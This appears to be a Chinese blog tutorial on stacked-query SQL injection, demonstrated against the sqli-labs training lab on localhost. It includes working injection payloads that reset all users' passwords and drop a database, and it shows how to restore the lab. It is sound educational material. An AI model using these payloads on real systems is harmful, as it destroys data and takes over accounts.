SQL注入之堆叠查询

文章目录

  • 堆叠查询是什么?
  • 堆叠查询修改所有用户密码
  • 堆叠查询删除数据库
  • 恢复数据库

堆叠查询是什么?

在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

堆叠查询就是多条语句一起执行,之间用;分割,它和联合查询不同的地方在于,联合查询中语句类型是有限的,只能执行查询语句,而堆叠查询执行的可以是任意种类的语句。

堆叠查询修改所有用户密码

输入下面的SQL语句,堆叠查询修改密码:

?id=1';update users set password='654321';--+

执行成功:

SQL注入之堆叠查询_第1张图片

查看用户的密码:

id为1的用户:

SQL注入之堆叠查询_第2张图片

id为2的用户:

SQL注入之堆叠查询_第3张图片

密码都为654321,修改成功!

堆叠查询删除数据库

输入下面语句

?id=1';drop database security;--+

执行成功:

SQL注入之堆叠查询_第4张图片

数据库已被删除:

SQL注入之堆叠查询_第5张图片

恢复数据库

在http://127.0.0.1/sqli-labs-master/中点击Setup/reset Database for labs重新建立一个sqli-labs数据库

恢复成功:

SQL注入之堆叠查询_第6张图片

你可能感兴趣的:(网络安全,sql,oracle,数据库)